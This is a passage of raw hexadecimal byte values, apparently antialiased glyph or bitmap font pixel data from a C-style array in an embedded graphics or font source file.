0xFF, 0xFF, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xFF, 0xFF,
0xE8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xFF, 0xFF, 0xE8, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xFF, 0xFF, 0xE8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xFF, 0xFF, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xFF, 0xFF, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x23, 0xFF, 0xFF, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x23, 0xFF, 0xFF, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23,
0xFF, 0xFF, 0xE5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x3E, 0x3E,
0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x5B, 0x5B, 0x41, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xB7, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xB7, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xB7, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xB7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xB7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xB7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0x97,
0x97, 0x97, 0x97, 0xB9, 0xFF, 0xFF, 0xE2, 0x97, 0x97, 0x97, 0x97, 0x97, 0x17, 0x7F, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x28, 0x7F, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x28, 0x7F, 0xFF, 0xFF, 0xE0, 0xBA,
0xBA, 0xBA, 0xBA, 0xBA, 0xBA, 0xBA, 0xFF, 0xFF, 0xFF, 0x28, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0xFF, 0xFF, 0x28, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0B, 0xFF, 0xFF, 0xFF, 0x1D, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x1D, 0xFF, 0xFF, 0xFF, 0x06, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x2F, 0xFF, 0xFF, 0xEE, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x41, 0xFF, 0xFF, 0xD7, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6C,
0xFF, 0xFF, 0xC0, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAB, 0xFF,
0xFF, 0xA7, 0x00, 0x4A, 0x94, 0x94, 0x3D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE9, 0xFF, 0xFF,
0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0xFF, 0xFF, 0xFF, 0x2A,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x69, 0xFF, 0xFF, 0xE4, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD0, 0xFF, 0xFF, 0x9F, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0xFF, 0xFF, 0xFF, 0x59, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC6, 0xFF, 0xFF, 0xE4, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x6A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x14, 0xDF, 0xFF, 0xFF, 0xE2, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x04, 0xBF, 0xFF, 0xFF, 0xFF, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x95,
0xFF, 0xFF, 0xFF, 0xC8, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF9, 0xFF,
0xFF, 0xE4, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0xFF, 0xF6,
0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xD6, 0x58, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0xEA, 0xEA, 0xEA, 0xEA, 0xEA, 0xEA, 0xEA, 0xEA, 0xEA,
0xEA, 0xEA, 0xEA, 0x2C, 0x00, 0x00, 0x2B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x30, 0x00, 0x00, 0x2B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x30, 0x00, 0x00, 0x04, 0x60, 0x66, 0x66, 0x66, 0xC9, 0xFF, 0xFF, 0xB8, 0x66,
0x66, 0x66, 0x66, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0xFF, 0xFF, 0x88, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0xFF, 0xFF, 0x88, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0xFF, 0xFF, 0x88, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0xFF, 0xFF, 0x88, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0xFF, 0xFF, 0x88, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0xFF, 0xFF, 0x88, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0xFF, 0xFF, 0x88, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0xFF, 0xFF, 0x88, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0xFF, 0xFF, 0x88, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0xFF, 0xFF, 0x88, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0xFF, 0xFF, 0x88, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0xFF, 0xFF, 0x88, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x7B, 0xF8, 0xF8, 0xF8, 0xF8, 0xF8, 0xFC, 0xFF, 0xFF, 0xFC, 0xF8,
0xF8, 0xF8, 0xF8, 0xF8, 0x3C, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x3E, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x3E, 0x22, 0x59, 0x59, 0x59, 0x59, 0x59, 0x59, 0x59, 0x59, 0x59, 0x59,
0x59, 0x59, 0x59, 0x59, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC5, 0xF2, 0xF1,
0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD0, 0xFF,
0xFF, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD0,
0xFF, 0xFF, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xD0, 0xFF, 0xFF, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xD0, 0xFF, 0xFF, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xD0, 0xFF, 0xFF, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xD0, 0xFF, 0xFF, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC3, 0xC6, 0xC6,
0xC6, 0xC6, 0xC6, 0xC6, 0xFF, 0xFF, 0xFF, 0xD3, 0xC6, 0xC6, 0xC6, 0xC6, 0x71, 0x00, 0xFC, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x92, 0x00, 0xFC,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x92, 0x00,
0x75, 0x8B, 0x8B, 0x8B, 0x8B, 0x8B, 0xFF, 0xFF, 0xFF, 0xFF, 0xA6, 0x8B, 0x8B, 0x8B, 0x8B, 0x4F,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x19, 0xFC, 0xFF, 0xFF, 0xFF, 0x3B, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0xFF, 0xFF, 0xFF, 0xFF, 0x3B, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD1, 0xFF, 0xFF, 0xFF, 0xFF, 0x3B, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x3B, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x3B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xE6, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0xFF, 0xFF, 0xCD, 0xD0, 0xFF,
0xFF, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xDD, 0xFF, 0xFF, 0x5E, 0xD0,
0xFF, 0xFF, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0xE8, 0x06,
0xD0, 0xFF, 0xFF, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2A, 0xF8, 0xFF, 0xFF, 0x80,
0x00, 0xD0, 0xFF, 0xFF, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0xDB, 0xFF, 0xFF, 0xEE,
0x17, 0x00, 0xD0, 0xFF, 0xFF, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0xBB, 0xFF, 0xFF, 0xFF,
0x4E, 0x00, 0x00, 0xD0, 0xFF, 0xFF, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0xFF, 0xFF, 0xFF,
0x8C, 0x00, 0x00, 0x00, 0xD0, 0xFF, 0xFF, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0xE5, 0xFF,
0xC6, 0x04, 0x00, 0x00, 0x00, 0xD0, 0xFF, 0xFF, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E,
0xE8, 0x1D, 0x00, 0x00, 0x00, 0x00, 0xE1, 0xFF, 0xFF, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x09, 0x00, 0x00, 0x16, 0xC8, 0xDC, 0xFF, 0xFF, 0xFF, 0x3A, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x22, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xED, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x84, 0x7F, 0x5B, 0x06, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0xD0, 0xD0, 0x80, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x77, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x77, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x77, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x77, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x77, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x77, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1A, 0x80, 0x80, 0x80,
0x80, 0xCF, 0xFF, 0xFF, 0xDC, 0xA3, 0xA3, 0xA3, 0xA3, 0xA3, 0x09, 0x5C, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x0E, 0x5C, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x0E, 0x48, 0xC8, 0xC8, 0xC8, 0xC8, 0xF1, 0xFF,
0xFF, 0xD3, 0xAE, 0xC3, 0xFF, 0xFF, 0xFF, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0xFF, 0xFF,
0x65, 0x00, 0x21, 0xFF, 0xFF, 0xFF, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAF, 0xFF, 0xFF, 0x4B,
0x00, 0x22, 0xFF, 0xFF, 0xFF, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC9, 0xFF, 0xFF, 0x30, 0x00,
0x23, 0xFF, 0xFF, 0xFF, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE4, 0xFF, 0xFF, 0x16, 0x00, 0x25,
0xFF, 0xFF, 0xFF, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xFD, 0xFF, 0xFA, 0x01, 0x00, 0x27, 0xFF,
0xFF, 0xFF, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x48, 0xFF, 0xFF, 0xD4, 0x00, 0x00, 0x2A, 0xFF, 0xFF,
0xFF, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x86, 0xFF, 0xFF, 0x99, 0x00, 0x00, 0x2F, 0xFF, 0xFF, 0xFF,
0x0D, 0x00, 0x00, 0x00, 0x00, 0xC3, 0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x34, 0xFF, 0xFF, 0xFF, 0x08,
0x00, 0x00, 0x00, 0x11, 0xF9, 0xFF, 0xFF, 0x22, 0x00, 0x00, 0x3C, 0xFF, 0xFF, 0xFF, 0x03, 0x00,
0x00, 0x00, 0x71, 0xFF, 0xFF, 0xE6, 0x00, 0x00, 0x00, 0x45, 0xFF, 0xFF, 0xFE, 0x00, 0x00, 0x00,
0x01, 0xDA, 0xFF, 0xFF, 0x8F, 0x00, 0x00, 0x00, 0x52, 0xFF, 0xFF, 0xEC, 0x00, 0x00, 0x00, 0x45,
0xFF, 0xFF, 0xFF, 0x28, 0x00, 0x00, 0x00, 0x66, 0xFF, 0xFF, 0xC9, 0x00, 0x00, 0x02, 0xC8, 0xFF,
0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x92, 0xFF, 0xFF, 0xA5, 0x00, 0x00, 0x6C, 0xFF, 0xFF, 0xFF,
0x58, 0x00, 0x1F, 0x44, 0x69, 0xF5, 0xFF, 0xFF, 0x7A, 0x00, 0x1C, 0xF2, 0xFF, 0xFF, 0xD2, 0x05,
0x00, 0x71, 0xFF, 0xFF, 0xFF, 0xFF, 0xF4, 0x15, 0x00, 0x69, 0xFF, 0xFF, 0xFD, 0x36, 0x00, 0x00,
0x66, 0xFF, 0xFF, 0xFF, 0xFF, 0x88, 0x00, 0x00, 0x02, 0xB1, 0xFF, 0x8F, 0x00, 0x00, 0x00, 0x5A,
0xFF, 0xFF, 0xFD, 0xA7, 0x0E, 0x00, 0x00, 0x00, 0x0A, 0x9C, 0x0B, 0x00, 0x00, 0x00, 0x0F, 0x30,
0x2E, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x03, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xCB, 0xFB, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0xFF, 0xFF,
0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xFF,
0xFF, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21,
0xFF, 0xFF, 0xA6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x04, 0xFC, 0xFF, 0xC8, 0x00, 0x00, 0x00, 0x02, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xE1, 0xFF, 0xED, 0x30, 0x70, 0xB0, 0xEE, 0xF3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x02, 0x28, 0xD8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x0A, 0x00, 0x00, 0x00, 0x22,
0x8F, 0xC2, 0xF3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x21, 0x00, 0x00, 0x00,
0x44, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF3, 0xBC, 0x82, 0x47, 0x06, 0x00, 0x00,
0x00, 0x2F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x8E, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x19, 0xDD, 0xA7, 0x6D, 0x33, 0x5B, 0xFF, 0xFF, 0x91, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3A, 0xFF, 0xFF, 0xAB, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0xFF, 0xFF, 0xC5, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0xFD, 0xFF, 0xDF, 0x00, 0x00,
0x00, 0x00, 0x02, 0x2F, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE5, 0xFF, 0xF8, 0x0A,
0x40, 0x7C, 0xB7, 0xF1, 0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x42, 0xE3, 0xFF, 0xFF,
0xFC, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x73, 0x11, 0x47, 0x79, 0xAB, 0xDE, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x81, 0x7A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xF5, 0xC3, 0x8C, 0x56, 0x1F, 0x00, 0x66, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE,
0xF9, 0xFF, 0xFF, 0x81, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0xFF, 0xEE, 0xB7, 0x7F, 0x46,
0x10, 0x83, 0xFF, 0xFF, 0x85, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x26, 0x01, 0x00, 0x00,
0x00, 0x00, 0x67, 0xFF, 0xFF, 0xA5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x2E, 0xFF, 0xFF, 0xE5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xFF, 0xFF, 0xFE, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD9, 0xFF, 0xFF, 0x45, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBD, 0xFF, 0xFF, 0x65, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA1, 0xFF, 0xFF, 0x84, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0xFF, 0xFF, 0x97, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x39, 0x64, 0x26, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x08, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB5, 0xF2, 0xA3, 0x2F, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDB, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0xFB, 0xFF, 0xFF, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x52, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x90, 0xFF, 0xFF, 0xDA, 0xA1, 0xB4, 0xC7, 0xDA, 0xDB, 0x17, 0x00, 0x00, 0x00,
0x00, 0x00, 0xD1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xB3, 0x00, 0x00, 0x00, 0x00,
0x12, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x3E, 0x00, 0x00, 0x00, 0x57,
0xFF, 0xFF, 0xEB, 0xCF, 0xCF, 0xCF, 0xDB, 0xFF, 0xFF, 0xFF, 0x2D, 0x00, 0x00, 0x00, 0xB8, 0xFF,
0xFF, 0x60, 0x00, 0x00, 0x00, 0x46, 0xFF, 0xFF, 0xFD, 0x08, 0x00, 0x00, 0x1E, 0xFD, 0xFF, 0xFA,
0x11, 0x00, 0x00, 0x00, 0x69, 0xFF, 0xFF, 0xDE, 0x00, 0x00, 0x00, 0x80, 0xFF, 0xFF, 0xB5, 0x00,
0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xB6, 0x00, 0x00, 0x12, 0xEC, 0xFF, 0xFF, 0x60, 0x00, 0x00,
0x00, 0x00, 0xAE, 0xFF, 0xFF, 0x8E, 0x00, 0x00, 0x95, 0xFF, 0xFF, 0xEB, 0x0D, 0x00, 0x00, 0x00,
0x00, 0xD1, 0xFF, 0xFF, 0x66, 0x00, 0x30, 0xFC, 0xFF, 0xFF, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x0B,
0xF8, 0xFF, 0xFF, 0x3F, 0x00, 0x55, 0xFE, 0xFF, 0xDD, 0x05, 0x00, 0x00, 0x00, 0x00, 0x50, 0xFF,
0xFF, 0xF5, 0x09, 0x00, 0x00, 0x60, 0xFC, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9E, 0xFF, 0xFF,
0xAF, 0x00, 0x00, 0x00, 0x00, 0x32, 0x01, 0x00, 0x00, 0x00, 0x00, 0x02, 0xEA, 0xFF, 0xFF, 0x5E,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3A, 0xFF, 0xFF, 0xFC, 0x12, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99, 0xFF, 0xFF, 0xBE, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0xFB, 0xFF, 0xFF, 0x6E, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA6, 0xFF, 0xFF, 0xEF, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x2F, 0xFE, 0xFF, 0xFF, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0xBA, 0xFF, 0xFF, 0xE5, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
